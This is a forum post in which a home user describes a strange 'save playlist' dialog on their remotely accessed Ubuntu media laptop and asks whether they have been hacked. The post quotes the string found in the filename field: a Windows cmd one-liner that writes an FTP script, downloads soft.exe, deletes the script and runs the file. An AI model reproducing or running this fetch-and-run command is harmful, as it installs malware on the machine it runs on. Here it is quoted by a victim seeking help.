i have ubuntu 10.4 installed on an old hp laptop and am using it only to play networked music and movies on a flatscreen in my family room. i login in to it remotely from my windows 7 computer via tightVNC 1.5.2 when i am in my home office working. i have let the update manager in ubuntu run any update that comes in.
i am albe open the terminal and follow directions, but that's the extent of my "expertise"
today, i turned on the ubuntu machine and started some music locally and went to my office to work. i am using movieplayer 2.3.02 as my music player.
a window opened on its own in movie player to save a new playlist - with this pasted into the filename field ( i did not see the text typed in. i went to my office, and came back into the room to see the save playlist dialog on the screen)
/c echo open IP 21 >> ik &echo user dsluser telnet >> ik &echo binary >> ik &echo get soft.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &soft.exe &exit
i copied the text and pasted it into an office doc and am on the forums from my windows 7 computer.
does this indicate that there is a hacker in my system? and if so how?
i apologize if this is a question any competent user should be able to answer, but appreciate the indulgence.
thanks
